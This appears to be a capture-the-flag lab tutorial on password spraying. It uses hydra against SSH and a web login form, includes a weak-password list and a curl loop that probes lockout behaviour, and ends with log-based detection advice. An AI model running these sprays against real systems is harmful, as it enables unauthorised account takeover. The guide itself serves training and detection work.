Performing Password Spray In Lab

⚠️ Educational Use Only — Password spraying against systems you do not own or have explicit written authorization to test is illegal under computer fraud laws globally. This skill exists to help defenders understand attack patterns so they can detect and prevent them. Always practice only in isolated lab environments.

When to Use

• During authorized penetration tests to test authentication endpoint lockout policies and account security
• In CTF challenges with multiple user accounts and a common weak password
• When auditing an organization's password policy — testing whether common passwords are in use
• When learning how to detect password spray attacks in logs and SIEM dashboards
• As a prerequisite for credential stuffing, Active Directory brute force, and account takeover simulations

Prerequisites

• Knowledge: Basic understanding of authentication flows (SSH, HTTP), what a user account is
• Lab: labs/cryptography/hash-cracking-lab (shared environment)
• Difficulty: Intermediate
• Time: 25–35 minutes

Workflow

Step 1: Start the Lab

agentlab start hash-cracking-lab
agentlab exec hash-cracking-lab bash
# SSH service running on target:22
# Web login at http://target:80/login
# User list at /lab/users.txt
cat /lab/users.txt
# admin, alice, bob, charlie, developer, sysadmin

Step 2: Generate a Targeted Password List

Password spray uses few passwords across many accounts (avoiding lockout):

# Common passwords to try first
cat > /tmp/spray_passwords.txt << 'EOF'
Password1
Password123
Summer2025!
Winter2024!
Company123
Welcome1
Spring2026
January2026
EOF

Step 3: SSH Password Spray with Hydra

# Spray one password at a time across all users
# -L: user list, -p: single password, -t: threads, -W: wait between attempts
hydra -L /lab/users.txt -p "Password123" \
      ssh://target:22 \
      -t 4 -W 2 -v

# Try each password from the spray list
for pass in Password1 Password123 "Summer2025!"; do
  echo "Trying: $pass"
  hydra -L /lab/users.txt -p "$pass" ssh://target:22 -t 4 -W 2 2>/dev/null \
    | grep "login:"
done

Step 4: Web Login Spray with Hydra

# First, identify the login form parameters
curl -s http://target:80/login | grep -i "name="
# <input name="username"...> <input name="password"...>

# Spray web login form
hydra -L /lab/users.txt -p "Password123" \
      target:80 http-post-form \
      "/login:username=^USER^&password=^PASS^:Invalid credentials" \
      -t 4 -W 3

Step 5: Understand Lockout Policy Behavior

Watch the responses carefully:

# Count attempts per user — if locked out after 5 tries, space attempts across users
# A spray of 1 password × N users = only 1 attempt per account
# This bypasses lockout policies that trigger after 5+ attempts per account

# In the lab, check lockout behavior:
for i in 1 2 3 4 5 6; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://target:80/login \
    -d "username=admin&password=wrong$i")
  echo "Attempt $i: HTTP $code"
done
# HTTP 200 with error = normal
# HTTP 429 = rate limited
# HTTP 423 = account locked

Step 6: Detection — Read the Logs

Understanding what password sprays look like in logs is as important as performing them:

# Check the authentication log on the target
agentlab exec hash-cracking-lab target cat /var/log/auth.log | tail -20
# Look for: many "Failed password" entries from the same IP
# That's what blue team detects

# In a SIEM, the signature is:
# Many users, same source IP, same time window, same password attempt

Step 7: Capture the Flag

One user has a common password:

hydra -L /lab/users.txt \
      -P /tmp/spray_passwords.txt \
      ssh://target:22 \
      -t 2 -W 5
# Found: developer:Password123

ssh developer@target
cat ~/flag.txt
# FLAG{password_spray_one_user_had_weak_password}

Key Concepts

Tools

Output / Verification

agentlab verify hash-cracking-lab "FLAG{password_spray_one_user_had_weak_password}"

Defensive value: After completing this challenge, you should be able to write a SIEM detection rule: alert when >5 unique usernames fail authentication from the same IP within 5 minutes.

Further Reading

• MITRE ATT&CK: T1110.003 — Password Spraying
• OWASP Authentication Testing
• Microsoft: Defending Against Password Spray